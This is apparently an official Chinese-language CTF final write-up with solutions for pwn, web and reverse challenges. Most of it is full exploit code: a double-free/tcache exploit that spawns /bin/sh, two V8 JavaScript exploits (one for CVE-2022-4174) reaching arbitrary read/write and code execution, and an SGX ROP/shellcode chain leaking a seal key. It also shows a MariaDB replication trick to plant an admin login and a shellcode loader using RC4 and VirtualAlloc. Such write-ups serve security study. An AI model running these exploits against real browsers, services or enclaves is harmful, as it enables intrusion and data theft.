XCTF final 7th Offical Writeup
2023-4-11 19:59:43 Author: r3kapig(查看原文) 阅读量:86 收藏

Pwn:

haslang:

一个用Haskell编写的Scheme解释器。源码基于(https://en.wikibooks.org/wiki/Write_Yourself_a_Scheme_in_48_Hours)中的实现。

题目增加了以下原语:

ioPrimitives :: [(String, [LispVal] -> IOThrowsError LispVal)]
ioPrimitives =
  [ ("apply", applyProc),
    ("alloc", alloc),
    ("free", freeChunk),
    ("showChunk", showChunk),
    ("editChunk", editChunk)
  ]

这允许用户以不安全的方式创建/删除/显示/编辑一个堆块。

alloc :: [LispVal] -> IOThrowsError LispVal
alloc [Number size] = liftIO $ fmap Ptr (mallocBytes (fromIntegral size))
alloc others = error "Unreachable"

-- 不清除ptr,允许双重释放!
freeChunk :: [LispVal] -> IOThrowsError LispVal
freeChunk [Ptr ptr] = liftIO $ Bool True <$ free ptr
freeChunk _ = liftIO $ return (Bool False)

showChunk :: [LispVal] -> IOThrowsError LispVal
showChunk [Ptr ptr] = do
  let c_ptr = castPtr ptr :: CString
  let a = peekCString c_ptr >>= putStrLn
  liftIO $ Bool True <$ a

editChunk :: [LispVal] -> IOThrowsError LispVal
editChunk [Ptr ptr, Number offset, Number val] = do
  let write_result = pokeElemOff ptr (fromIntegral offset) (fromIntegral val)
  liftIO $ Bool True <$ write_result

当我们把几个原语逆向清楚后,利用就变得非常直接。直接通过double free + tcache attack即可。

exp:

from pwn import *

context.terminal = ["tmux""new-window"]
#context.log_level = True

is_remote = False
remote_addr = ['',0]

elf_path = "./haslang"
libc_path = "/lib/x86_64-linux-gnu/libc-2.27.so"

if is_remote:
    p = remote(remote_addr[0], remote_addr[1])
else:
    p = process(elf_path, aslr = True)

if elf_path:
    elf = ELF(elf_path)
if libc_path:
    libc = ELF(libc_path)

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s, addr = None):
    if addr != None:
        print('\033[1;31;40m[+]  %-15s  --> 0x%8x\033[0m'%(s,addr))
    else:
        print('\033[1;32;40m[-]  %-20s \033[0m'%(s))

def raddr(a = 6):
    if(a == 6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

def cmd(s):
    sla(">>> ", s)

def alloc(name, size):
    cmd("(define %s (alloc %d))" % (name, size))

def free(name):
    cmd("(free %s)" % name)

def show(name):
    cmd("(showChunk %s)" % name)

def edit(name, off, byte):
    cmd("(editChunk %s %d %d)" % (name, off, byte))

if __name__ == "__main__":
    for i in range(8):
        alloc("x" + str(i), 0x110)
    for i in range(7, -1, -1):
        free("x" + str(i))
    show("x0")
    libc_addr = ((raddr() & 0xFFFFFFFFFF) << 8) - 0x3ebc00
    libc.address = libc_addr
    lg("Libc addr", libc_addr)
    for i in range(1):
        alloc("xx" + str(i), 0x68)
    for i in range(1):
        free("xx" + str(i))
    target = libc.symbols["__free_hook"]
    for i in range(6):
        edit("xx0", i, u8(p64(target)[i]))
    alloc("padding"0x68)
    payload = "/bin/sh\x00"
    for i in range(len(payload)):
        edit("padding", i, u8(payload[i]))
    alloc("pwn"0x68)
    payload = p64(libc.symbols['system'])
    for i in range(len(payload)):
        edit("pwn", i, u8(payload[i]))
    free("padding")
    p.interactive()

hole:

漏洞的引入函数是JSNativeContextSpecialization::BuildPropertyStore 根据漏洞的引入可以知道是在对对象添加属性的时候可以触发。首先我们得需要对UnusedPropertyFields 有所了解,他主要就是对象在进行Property存储的时候他不是一个一个去存,而是先开辟一定容量的数组,比如先申请一个arr[4] 然后多一个属性,就相当于还有三个空位没有使用,那么就记UnusedPropertyFields=3 , 类似于记录已经使用的内存,和未使用的内存,这样就可以判断属性是否越界了。如果属性全被使用且在添加属性的时候就会溢出,那么就会重新申请比arr[4]大的空间在把这些元素给Copy。懂得这些这题就比较简单去做了。

@@ -2812,7 +2811,7 @@ JSNativeContextSpecialization::BuildPropertyStore(
       // with this transitioning store.
       MapRef transition_map_ref = transition_map.value();
       MapRef original_map = transition_map_ref.GetBackPointer().AsMap();
-      if (original_map.UnusedPropertyFields() == 0) {
+      if (original_map.UnusedPropertyFields() == 0 && times--==0) {
         DCHECK(!field_index.is_inobject());
 

diff部分就是添加了一个全局变量times 很容易看出这个变量是对这个判断的补充,也就是加强了这个check。那么让我们来看以下,原来他的判断是original_map.UnusedPropertyFields() == 0 就进行后面的逻辑部分,现在是在他 == 0 的同时也要满足times--==0 而这个times 是个全局变量 1,也就是第一次运行到这里时 本来能进入逻辑部分,但是由于times !=0 的原因,导致没有进入,而进入了反方向的else 导致最终的Property 越界一个。

    base::Optional<MapRef> transition_map = access_info.transition_map();
    if (transition_map.has_value()) {
      // Check if we need to grow the properties backing store
      // with this transitioning store.
      MapRef transition_map_ref = transition_map.value();
      MapRef original_map = transition_map_ref.GetBackPointer().AsMap();
      if (original_map.UnusedPropertyFields() == 0 && times--==0) {
        DCHECK(!field_index.is_inobject());
        // Reallocate the properties {storage}.
        storage = effect = BuildExtendPropertiesBackingStore(
            original_map, storage, effect, control);
        // Perform the actual store.
        effect = graph()->NewNode(simplified()->StoreField(field_access),
                                  storage, value, effect, control);
        // Atomically switch to the new properties below.
        field_access = AccessBuilder::ForJSObjectPropertiesOrHashKnownPointer();
        value = storage;
        storage = receiver;
      }
      effect = graph()->NewNode(
          common()->BeginRegion(RegionObservability::kObservable), effect);
      effect = graph()->NewNode(
          simplified()->StoreField(AccessBuilder::ForMap()), receiver,
          jsgraph()->Constant(transition_map_ref), effect, control);
      effect = graph()->NewNode(simplified()->StoreField(field_access), storage,
                                value, effect, control);
      effect = graph()->NewNode(common()->FinishRegion(),
                                jsgraph()->UndefinedConstant(), effect);
    } else {
      // Regular non-transitioning field store.
      effect = graph()->NewNode(simplified()->StoreField(field_access), storage,
                                value, effect, control);
    }
  }
  return ValueEffectControl(value, effect, control);
}

而我们在内存去查看Properties 的布局。越界的Property 正好可以去作为第一个Property的Map 因为是连续分配,这样就可以去伪造Map 去打。这里最终是打了Hole 因为题目patch了一条利用路径。也就是hole 类double free的利用。

exp:

var shellcode=new Uint8Array(100);
var buf=new ArrayBuffer(0x8);
var dv=new DataView(buf);
var u32=new Uint32Array(buf);
var u8=new Uint8Array(buf);
var u16=new Uint16Array(buf);
var b64=new BigUint64Array(buf);
var f64=new Float64Array(buf);

function u64(addr){
    dv.setFloat64(0,addr,true);
    return dv.getBigUint64(0,true);
}
function ftou32(addr){
    dv.setFloat32(0,addr,true);
    return dv.getUint32(0,true);
}
function p64(addr){
    dv.setBigUint64(0,addr,true);
    return dv.getFloat64(0,true);
}
function hex(addr){
    return addr.toString(16)
}
function log(name,addr){
    print(name+"==>0x"+addr.toString(16))
}
const exp = ()=>
{
    return [
        1.0,
        1.95538254221075331056310651818E-246,
        1.95606125582421466942709801013E-246,
        1.99957147195425773436923756715E-246,
        1.95337673326740932133292175341E-246,
        2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {
    exp();exp();exp();exp()
}
function gc() {
    new ArrayBuffer(0x7fe00000);
}
function SDD() {
    class H {
        ['h']() {}
    }
    let h = H.prototype.h;
    h[1024] = [1.1];
    h['a'] = new Array(0x1337);
    // h['b'] = new Array(0x100);
    h['b'] = new Array(0x100);
    // h['c'] = {};
    return h;
}
b=SDD();
c=SDD();
function foo(h, v) {
    for (let i = 0; i < 0x100000; ++i) 
        h["d"] = v;
        h["k"] = v;
}
%PrepareFunctionForOptimization(foo);
foo(b, 1.1);
%OptimizeFunctionOnNextCall(foo);
foo(c,2.4860235145846156e-265);
gc();
oob=c.b;
var map = new Map();
map.set('lime',8);
map.set(oob[0],0x8);
print(map.size);
map.delete(oob[0]);
map.delete(oob[0]);
map.delete("lime");
print(map.size);
map.set(34"aaaa");
// var arr2=[1.1];
var arr3=new Array(0);
var arr4=new Array(3);
var oob=new Array(0);
oob.push(1.1);
map.set("1",-1);
var victim=[1.1,2.2];
var objarr=[victim,oob];
float_orgin_map_and_prototype=u64(oob[20]);
element_and_length=u64(oob[21]);
// %DebugPrint(oob);

log("float_orgin_map_and_prototype",float_orgin_map_and_prototype)
log("element_and_length",element_and_length);

b64[0]=element_and_length;
u32[1]=0x100
oob[21]=p64(b64[0]);
object_orgin_map_and_prototype=u64(victim[4]);
log("object_orgin_map_and_prototype",object_orgin_map_and_prototype);
function abread(addr){
    orign=oob[20]
    f64[0]=orign
    u32[0]=addr-8
    oob[21]=f64[0]
    value=u64(victim[0])
    oob[21]=orign
    return u32[0]
}
function addrOf(obj){
    objarr[0]=obj
    victim[4]=p64(float_orgin_map_and_prototype)
    addr=objarr[0];
    // %SystemBreak()
    victim[4]=p64(object_orgin_map_and_prototype)
    f64[0]=addr
    return u32[0]
}
function abwrite(addr,value){
    orign=oob[20]
    f64[0]=orign
    u32[0]=addr-8
    oob[21]=f64[0]
    victim[0]=p64(value)
    oob[21]=orign;
}
func_addr=addrOf(exp);
log("func_addr",func_addr);
code_addr=abread(func_addr+0x18)
log("code_addr",code_addr);
rw_low=abread(code_addr+0x8)
rw_high=abread(code_addr+0x8+4)
log("rw_l",rw_low);
log("rw_h",rw_high);
u32[1]=rw_high
u32[0]=rw_low
target=b64[0]+0xb3n
print(hex(target));
orign=oob[20]
f64[0]=orign
u32[0]=code_addr+8
oob[21]=f64[0];
victim[0]=p64(target);
exp();

还有这题考虑到12h ,预留了一个nday cve-2022-4174(https://bugs.chromium.org/p/chromium/issues/detail?id=1379054) ,发现这个洞的话做起来会比较简单

exp:

var shellcode=new Uint8Array(100);
var buf=new ArrayBuffer(0x8);
var dv=new DataView(buf);
var u32=new Uint32Array(buf);
var u8=new Uint8Array(buf);
var u16=new Uint16Array(buf);
var b64=new BigUint64Array(buf);
var f64=new Float64Array(buf);

function u64(addr){
    dv.setFloat64(0,addr,true);
    return dv.getBigUint64(0,true);
}
function ftou32(addr){
    dv.setFloat32(0,addr,true);
    return dv.getUint32(0,true);
}
function p64(addr){
    dv.setBigUint64(0,addr,true);
    return dv.getFloat64(0,true);
}
function hex(addr){
    return addr.toString(16)
}
const exp = ()=>
{
    return [
        1.0,
        1.95538254221075331056310651818E-246,
        1.95606125582421466942709801013E-246,
        1.99957147195425773436923756715E-246,
        1.95337673326740932133292175341E-246,
        2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {
    exp();exp();exp();exp()
}
function gc() {
    new ArrayBuffer(0x7fe00000);
}
function trigger() {
    let v1;
    function f0(v4) {
        v4(() => { }, v5 => {
            v1 = v5.errors;
        });
    }
    f0.resolve = function (v6) {
        return v6;
    };
    let v3 = {
        then(v7, v8) {
            v8();
        }
    };
    Promise.any.call(f0, [v3]);
    return v1[1];
}
let hole = trigger();
var map = new Map();
map.set('lime',8);
map.set(hole,0x8);
map.delete(hole);
map.delete(hole);
map.delete("lime");
map.set(34"lime");
// var arr2=[1.1];
var arr3=new Array(0);
var arr4=new Array(3);
var oob=new Array(0);
oob.push(1.1);
map.set("1",-1);
var victim=[1.1,2.2];
var objarr=[victim,oob];
float_orgin_map_and_prototype=u64(oob[20]);
element_and_length=u64(oob[21]);
b64[0]=element_and_length;
u32[1]=0x100
oob[21]=p64(b64[0]);
object_orgin_map_and_prototype=u64(victim[4]);
function abread(addr){
    orign=oob[20]
    f64[0]=orign
    u32[0]=addr-8
    oob[21]=f64[0]
    value=u64(victim[0])
    oob[21]=orign
    return u32[0]
}
function addrOf(obj){
    objarr[0]=obj
    victim[4]=p64(float_orgin_map_and_prototype)
    addr=objarr[0];
    victim[4]=p64(object_orgin_map_and_prototype)
    f64[0]=addr
    return u32[0]
}
function abwrite(addr,value){
    orign=oob[20]
    f64[0]=orign
    u32[0]=addr-8
    oob[21]=f64[0]
    victim[0]=p64(value)
    oob[21]=orign;
}
function pwn(){
    func_addr=addrOf(exp);
    code_addr=abread(func_addr+0x18)
    rw_low=abread(code_addr+0x8)
    rw_high=abread(code_addr+0xc);
    u32[1]=rw_high
    u32[0]=rw_low
    target=b64[0]+0xb3n
    orign=oob[20]
    f64[0]=orign
    u32[0]=code_addr+8
    oob[21]=f64[0];
    victim[0]=p64(target);
    exp();
}
pwn()

basic_guide

要弄清楚这道题是什么意思,你需要首先阅读论文 The Guard's difficulty code-reuse attacks against intel sgx。尤其是以下几个部分。

4.1

Every defined ECALL has an associated index. To perform an ECALL, the application calls into the uRTS library, which executes a synchronous enclave entry (EENTER), passing the ECALL index in a register. We recall that EENTRY does not clear the registers. The tRTS then checks whether an ECALL with that index is defined, and if it is allowed at the current nesting level. If the checks pass, it executes the target function. Once the function returns, it performs a synchronous exit (EEXIT) to give control back to the uRTS. Passing and returning arbitrarily complex data structures is possible because SGX enclaves can access untrusted memory.

4.2

The need for OCALLs mainly stems from the fact that system calls are not allowed inside an enclave. Like ECALLs, each OCALL is identified by an index.

ORET is implemented in the tRTS. Like ECALLs, data is passed via shared untrusted memory.

5

Offensive capabilities. Our attacker has the following capabilities:

  • • Memory corruption vulnerability.

  • • Ability to create fake structures.

  • • Knowledge of coarse-grained memory layout.

  • • Knowledge of the enclave’s binary.

通过 6 和 7 两个部分,我们可以得知如何在 SGX 中通过 ROP 及 shellcode 泄露 seal key。

注意到:

  • • 程序中申请了一片很大的堆空间,可以在上面布局虚假的结构体

  • • enclave 基址 + 0x2000 处的内存空间是 RWX 权限,可以将 shellcode 写在这里并跳转执行

首先通过溢出赢得游戏,获得 seal 后的 flag 文件内容:

from pwn import *

sh = remote("127.0.0.1"10000)

def choice(idx):
    sh.recv()
    sh.sendline(str(idx).encode())

def win():
    sh.recv()
    sh.sendline(b"123")
    for _ in range(4):
        choice(3)
    for _ in range(5):
        choice(2)

sh.sendlineafter(b"room.\n"b'3')
win()
sh.recvuntil(b"win!\n")
enc_flag = sh.recvuntil(b"rebuilding...", drop=True)
with open("flag""wb"as f:
    f.write(enc_flag)

然后按照论文中的理论对 seal key 进行泄露,最后手动解密(AES-GCM) flag 密文即可。

exploit.py

import struct
from helper import *
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes)

# context.log_level = "debug"

afill = lambda n: b'a' * n
getkey_shellcode = asm(shellcode)
log.info("shellcode length: %d" % len(getkey_shellcode))
sh = remote("127.0.0.1"10000)

def sgx_exception_info_t(rax=0, rcx=0, rdx=0, rbx=0, rsp=0, rbp=0, rsi=0, rdi=0, rip=0, r8=0, r9=0) -> bytes:
    r10_2_r15 = (0,) * 6
    return struct.pack("18Q", rax, rcx, rdx, rbx, rsp, rbp, rsi, rdi, r8, r9, *r10_2_r15, 0x202, rip)

def mem_align(address: int, boundary: int) -> int:
    return address + boundary - address % boundary

def leak_address(idx: int) -> int:
    sh.sendlineafter(b"room.\n"b'1')
    sleep(0.5)
    sh.sendline(str(idx).encode())
    address = int(sh.recvline().split(b": "1)[-1][:-1], 16)
    sleep(0.5)
    sh.sendline(b'')
    return address

def leak_enclave_base() -> int:
    sh.sendlineafter(b"room.\n"b'2')
    sleep(0.5)
    sh.sendline(b"%9$p\n\x00")
    sh.recvuntil(b"Welcome back ")
    return int(sh.recvuntil(b"please", drop=True).strip(), 16)

def write_chain(payload: str) -> None:
    sh.sendlineafter(b"room.\n"b'5')
    for i in range(0len(payload), 0x100):
        sleep(0.2)
        sh.send(payload[i:i+0x100])
    sleep(0.5)
    sh.send(b'n')

def launch_chain(payload: str) -> None:
    sh.sendlineafter(b"room.\n"b'4')
    sleep(0.5)
    sh.sendline(payload)

app_fn = AppFuncHelper(binary_path="./basic_guide")
enclave_fn = EnclaveFuncHelper(binary_path="./cases.signed.so")

app_base = leak_address(-1) - app_fn.main
log.info("app base: " + hex(app_base))
app_fn.set_base(app_base)

fake_heap = leak_address(-2)
log.info("fake structs heap: " + hex(fake_heap))

enclave_base = leak_enclave_base() - enclave_fn.do_output_ret_off
log.info("enclave base: " + hex(enclave_base))
enclave_fn.set_base(enclave_base)

enclave_gadget = GadgetHelper(binary_path="./cases.signed.so", base=enclave_base)

sizeof_sgx_exception_info_t = 18 * 8
structs = b''
for i in range((len(getkey_shellcode) + 3) // 4):
    piece = getkey_shellcode[i*4:(i+1)*4].ljust(4b'\x00')
    structs += sgx_exception_info_t(
        rax=struct.unpack("I", piece)[0],
        rcx=enclave_base + 0x2000 + i * 4,  # code segment
        rsp=fake_heap + 0x1088 + i * sizeof_sgx_exception_info_t,
        rdi=fake_heap + (i + 1) * sizeof_sgx_exception_info_t,
        rip=enclave_gadget.write_mem_4
    )

key_data = enclave_base + 0xa6000
key_request = enclave_base + 0xa6200
structs += sgx_exception_info_t(
    rax=0,
    rbx=key_request,
    rcx=512,
    rdx=key_data,
    rsi=fake_heap + 0xA00,
    rdi=key_request,
    rsp=fake_heap + 0x1600,  # rsp - 0x88 should be writable
    rbp=fake_heap + 0x1600,
    r8=app_fn.puts,
    r9=app_base + 0xA300,
    rip=enclave_base + 0x2000
)
assert len(structs) < 0xA00
structs = structs.ljust(0xA00b'\x00')
structs += open("flag"'rb').read()[:512]
structs = structs.ljust(0x1000b'\x00')
structs += (0x1000 // 8) * p64(enclave_fn.continue_execution)
write_chain(structs)

payload = flat([afill(0x18), enclave_gadget.pop_rdi, fake_heap, enclave_fn.continue_execution])
launch_chain(payload)

seal_key = sh.recv(16)
log.info("seal key: " + seal_key.hex())

# decode flag
with open("flag""rb"as f:
    sealed_data = f.read()

encrypt_txt_len = struct.unpack("I", sealed_data[0x200:0x200+4])[0]  # (sgx_sealed_data_t*)->plain_text_offset
payload_size = struct.unpack("I", sealed_data[0x210:0x210+4])[0]     # (sgx_sealed_data_t*)->aes_data.payload_siz
add_mac_txt_len = payload_size - encrypt_txt_len
payload_tag = sealed_data[0x220:0x230]
payload = sealed_data[0x230:0x230+payload_size]  # (sgx_sealed_data_t*)->aes_data.payload

encrypt_txt = payload[:-add_mac_txt_len]
add_mac_txt = payload[-add_mac_txt_len:]

iv = b'\x00' * 12
aes_gcm = Cipher(algorithms.AES(seal_key), modes.GCM(iv), backend=default_backend()).decryptor()
plain = aes_gcm.update(encrypt_txt)
log.info("cipher: " + encrypt_txt.hex())
log.success("plain: " + plain.decode())

helper.py

from pwn import *
from enum import Enum
from subprocess import Popen, PIPE

context.arch = "amd64"
shellcode = """
    rep movsb

    mov rcx, rdx
    mov al, 1
    enclu

    movdqa xmm0, [rdx]
    movdqu [r9], xmm0

    mov rdi, r9
    mov rbx, r8
    mov al, 4
    enclu
"""

class Helper:

    def __init__(self, binary_path: str, base: int = 0):
        self._base = base
        self._binary_path = binary_path

    def find(self, param: str):
        """ interface """
        ...

    def set_base(self, new_base: int):
        """ interface """
        ...

class FuncHelper(Helper):

    def __init__(self, *args, **kwargs):
        super(FuncHelper, self).__init__(*args, **kwargs)

    def find(self, func_name: str) -> int:
        binary = ELF(self._binary_path, checksec=False)
        if func_name in binary.sym:
            return binary.sym[func_name]
        return -1

class AppFuncHelper(FuncHelper):

    def __init__(self, *args, **kwargs):
        super(AppFuncHelper, self).__init__(*args, **kwargs)
        self._main = 0
        self._puts = 0

    @property
    def main(self) -> int:
        if self._main:
            return self._main
        offset = self.find("main")
        if offset == -1:
            offset = 0x4287
        self._main = self._base + offset
        return self._main

    @property
    def puts(self) -> int:
        if self._puts:
            return self._puts

        offset = self.find("puts")
        if offset == -1:
            offset = 0x2240
        self._puts = self._base + offset
        return self._puts

    def set_base(self, new_base: int):
        assert isinstance(new_base, int)
        if self._main > 0:
            self._main = self._main - self._base + new_base
        if self._puts > 0:
            self._puts = self._puts - self._base + new_base
        self._base = new_base

class EnclaveFuncHelper(FuncHelper):
    do_output_ret_off = 0x21ED

    def __init__(self, *args, **kwargs):
        super(EnclaveFuncHelper, self).__init__(*args, **kwargs)
        self._cont = 0
        self._asm_oret = 0

    @property
    def asm_oret(self) -> int:
        if self._asm_oret:
            return self._asm_oret
        offset = self.find("asm_oret")
        if offset == -1:
            offset = 0x93426
        self._asm_oret = self._base + offset + 0x3B
        return self._asm_oret

    @property
    def continue_execution(self) -> int:
        if self._cont:
            return self._cont
        offset = self.find("continue_execution")
        if offset == -1:
            offset = 0x93540
        self._cont = self._base + offset
        return self._cont

    def set_base(self, new_base: int):
        assert isinstance(new_base, int)
        if self._cont > 0:
            self._cont = self._cont - self._base + new_base
        if self._asm_oret > 0:
            self._asm_oret = self._asm_oret - self._base + new_base
        self._base = new_base

class GadgetType(Enum):

    POP_RDI = ": pop rdi ; ret"
    WRITE_MEM_4 = "mov dword ptr \[rcx\], eax ;"

class GadgetHelper(Helper):

    def __init__(self, *args, **kwargs):
        super(GadgetHelper, self).__init__(*args, **kwargs)
        self._pop_rdi = 0
        self._write_mem_4 = 0

    @property
    def pop_rdi(self) -> int:
        if self._pop_rdi:
            return self._pop_rdi
        address = self.find(GadgetType.POP_RDI)
        if address != -1:
            self._pop_rdi = self._base + address
            return self._pop_rdi
        return address

    @property
    def write_mem_4(self) -> int:
        if self._write_mem_4:
            return self._write_mem_4
        address = self.find(GadgetType.WRITE_MEM_4)
        if address != -1:
            self._write_mem_4 = self._base + address
            return self._write_mem_4
        return address

    def _do_find(self, only: str, grep: str) -> int:
        cmd_line = f"ROPgadget --binary {self._binary_path} --only '{only}' | grep '{grep}'"
        with Popen(cmd_line, stdout=PIPE, shell=Trueas process:
            output = process.stdout.read()
            if isinstance(output, bytes):
                output = output.decode("utf-8", errors="ignore")
            try:
                address = int(output.split(" : "1)[0], 16)
            except:
                address = -1
        return address

    def _do_mov_find(self, grep: str) -> int:
        return self._do_find("mov|ret", grep)

    def _do_pop_find(self, grep: str) -> int:
        return self._do_find("pop|ret", grep)

    def find(self, g_type: GadgetType) -> int:
        address = -1
        if g_type == GadgetType.POP_RDI:
            address = self._do_pop_find(g_type.value)
        elif g_type == GadgetType.WRITE_MEM_4:
            address = self._do_mov_find(g_type.value)
        return address

Web:

dbtricks:


打开发现有一个执行界面,但是过滤非常多,几乎把所有能用的功能都禁用了。

打开管理员口:

发现只要输入正确的账号密码就可以得到flag。

回到主界面,发现show 没有过滤, 尝试 show tables

发现没有任何表。

查看variables变量会发现开启了 bin log:

开启这个意味着可以进行主从复制了。

查看文档:

发现是 mariadb10,翻阅文档:

https://mariadb.com/docs/reference/es10.6/sql-statements/

再参考这个:

http://benjr.tw/102278

原理和 redis 主从复制差不多,一个作为主服务器,从服务器会复制主服务器的数据。

所以我们的思路就是开启一台 mariadb 作为主服务器,让题目这台作为从服务器 这样就可以让他新增一条数据,进行登陆。

首先在外部开一台 mariadb 服务器,我们可以用 docker 上的 mariadb,运行:

docker run --env MARIADB_ROOT_PASSWORD=123456 -p 33060:3306 mariadb:latest

默认是不开启 log_bin 的,我们将他打开,服务器里没有 vim 我们可以把他copy出来

 docker cp 容器id:/etc/mysql/mariadb.conf.d/50-server.cnf 50-server.cnf

这里吧 server-id 改成 2,因为题目的 id 是 1 ,不能冲突。

复制进去重启容器:

docker cp 50-server.cnf 容器id:/etc/mysql/mariadb.conf.d/50-server.cnf
docker restart 容器id

执行:

show master status;

记住这个 position,在题目上执行:

CHANGE MASTER TO MASTER_HOST='主服务器地址', MASTER_USER='root', MASTER_PASSWORD='123456',MASTER_PORT=33060, MASTER_LOG_FILE='mysql-bin.000001', MASTER_LOG_POS=328;

这里的 LOG_POS 就是 上面 position 的值,其他的值正确填写即可。

这里的 LOG_FILE 也要注意别错了。

然后开启主从复制,题目上执行:

start slave;

返回为空,执行:

show slave status;

查看状态:

没有报错说明成功。

看 admin.php

我们知道要 ctf 这个库 ,admin这个表。username 和password两个列,我们在主服务器建库建表即可:

create database ctf;
use ctf;
create table admin(
username text,
password text
);
insert  admin  values('admin','admin');

再次使用 show tables 查看:

同步成功,登陆获得 flag:

不过由于waf写得不严格所以大多数同学都打的非预期,下次一定好好写waf XD

sign_in:

打开题目链接,可看到一个登录界面,如图:

通过Chrome的开发者工具, 分析代码, 在初始化redux状态的位置下断点, 刷新页面, 就可以看到内置的一个账号密码, 如图:

使用该账号密码登录, 可以看到一个提示信息, 如图:

提示需要使用最新的HTTP3协议访问, 由于目前主流浏览器在不使用Alt-Svc的情况下均不支持直接访问HTTP3协议, 所以需要编写一个反向代理的脚本来转发请求, 如图:

运行脚本并使用浏览器访问本机的6060端口, 并使用之前获得的账号密码登录, 然后可以看到新的提示信息, 如图:

通过Chrome的开发者工具, 找到flag的API接口地址, 如图:

然后再找到登录时返回的JWT Token, 如图:

编写脚本或使用工具, 向该API发起请求即可获得flag,如图:

package main

import (
    "crypto/tls"
    "encoding/json"
    "fmt"
    "io"
    "log"
    "net/http"
    "net/url"
    "os"
    "strings"

    "github.com/quic-go/quic-go/http3"
)

//root
//"64df930a434235eaa34a987c7e715bef"

func main() {
    SERVER_ADDR := os.Args[1]
    u, err := url.Parse(SERVER_ADDR)
    if err != nil {
        panic(err)
    }
    SERVER_ADDR = u.Scheme + "://" + u.Host
    fmt.Println(SERVER_ADDR)

    AUTH_API := SERVER_ADDR + "/api/auth"
    FLAG_API := SERVER_ADDR + "/api/__flag__"
    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }
    h2_client := http.Client{Transport: tr}

    rsp, err := h2_client.Post(AUTH_API, "application/json", strings.NewReader(`{"username":"root","password":"5cfd255db9c28458cb5ad5565c67c9be","token":"adbaebea8c36d54d599720ac3a6471a2"}`))
    if err != nil {
        panic(err)
    }
    defer rsp.Body.Close()
    rsp_body, _ := io.ReadAll(rsp.Body)
    var rsp_map map[string]interface{}
    err = json.Unmarshal(rsp_body, &rsp_map)
    if err != nil {
        panic(err)
    }
    if rsp_map["code"].(float64) != 200 {
        log.Fatalf("auth failed,code:%#v\n", rsp_map)
    }
    jwt := rsp_map["data"].(string)
    h3_client := &http.Client{
        Transport: &http3.RoundTripper{
            TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
        },
    }
    req, err := http.NewRequest("GET", FLAG_API, nil)
    if err != nil {
        panic(err)
    }
    req.Header.Add("Authorization", jwt)
    rsp, err = h3_client.Do(req)
    if err != nil {
        panic(err)
    }
    var flag_data map[string]interface{}

    flag, _ := io.ReadAll(rsp.Body)
    err = json.Unmarshal(flag, &flag_data)
    if err != nil {
        panic(err)
    }
    if flag_data["code"].(float64) != 200 {
        log.Fatalf("get flag failed,code:%#v\n", flag_data)
    }
    fmt.Println(flag_data["data"].(string))
}

Reverse:

我不是病毒2.0:

题目包含一个可执行文件,查壳是直接看出PyInstaller打包。

使用archive_viewer解包main.pyc,由于是Python3.10无法被直接反编译为py源代码,因此还原magic number后使用dis编写以下脚本查看反编译字节码

import dis
import marshal

with open('main.pyc''rb'as f:
    f.seek(16)
    dis.dis(marshal.load(f))

首先import了sign模块,然后执行了sign.main()

接下来进入PYZ-00.pyz文件将sign模块进行解包

解包失败

了解pyinstaller即可得知,源代码被加密无法直接解压,需要解密。

分析pyimod02-archive得知使用模块tinyaes进行加密解密操作

仿照pyimod02-archive将archive_viewer代码修改

解包pyimod00_crypto_key,还原magic number,反编译得到key HelloHiHowAreYou

成功解包sign.pyc,开始分析main的反编译字节码,

人工分析字节码,重新还原为脚本源码,分析后可还原代码为

蚌埠.windll.kernel32.VirtualAlloc.restype = 蚌埠.c_void_p
福建 = input("您的输入:")
天津 = "9K98jTmDKCXlg9E2kepX4nAi8H0DB57IU57ybV37xjrw2zutw+KnxkoYur3IZzi2ep5tDC6jimCJ7fDpgQ5F3fJu4wHA0LVq9FALbjXN6nMy57KrU8DEloh+Cji3ED3eEl5YWAyb8ktBoyoOkL1c9ASWUPBniHmD7RSqWcNkykt/USjhft9+aV930Jl5VjD6qcXyZTfjnY5MH3u22O9NBEXLj3Y9N5VjEgF2cFJ+Tq7jj92iIlEkNvx8Jl+eH5/hipsonKLTnoLGXs4a0tTQX/uXQOTMBbtd70x04w1Pa0fp+vA9tCw+DXvXj0xmX8c5HMybhpPrwQYDonx7xtS+vRIj/OmU7GxkHOOqYdsGmGdTjTAUEBvZtinOxuR7mZ0r9k+c9da0W93TWm5+2LKNR6OJjmILaJn0lq4foYcfD5+JITDsOD6Vg01yLRG1B4A6OxJ7Rr/DBUabSu2fYf1c4sTFvWgfMV8il6QfJiNMGkVLey1cBPSobenMo+TQC1Ql0//9M4P01sOiwuuVKLvTyDEv6dKO//muVL9S2gq/aZUBWkjj/I5rUJ6Mlt4+jsngmuke9plAjw22fUgz+8uSzn40dhKXfBX/BOCnlwWsMGAefAfoz/XAsoVSG2ioLFmlcYe/WBgaUJEoRUSyv73yiEOTVwIK6EPnDlwRgZZHx2toLu8udpEZ0aKGkex5sn7P8Jf9AbD4/EiQU+FdoJSxGorPSZGvrc4="
北京 = 沈阳.md5("云南".encode('utf-8')).hexdigest()
重庆 = 杭州.b64decode(天津)
河南 = b''
北京_len = len(北京)
广州 = list(range(256))
j = 0
for i in range(256):
    j = (j + 广州[i] + ord(北京[(i % 北京_len)])) % 256
    广州[i], 广州[j] = 广州[j], 广州[i]
山东 = 陕西 = 0
for 河北 in 重庆:
    山东 = (山东 + 1) % 256
    陕西 = (陕西 + 广州[山东]) % 256
    广州[山东], 广州[陕西] = 广州[陕西], 广州[山东]
    河南 += bytes([河北 ^ 广州[((广州[山东] + 广州[陕西]) % 256)]])
四川 = 蚌埠.create_string_buffer(福建.encode())
黑龙江 = 蚌埠.windll.kernel32.VirtualAlloc(蚌埠.c_int(0), 蚌埠.c_int(len(河南)), 蚌埠.c_int(12288), 蚌埠.c_int(64))
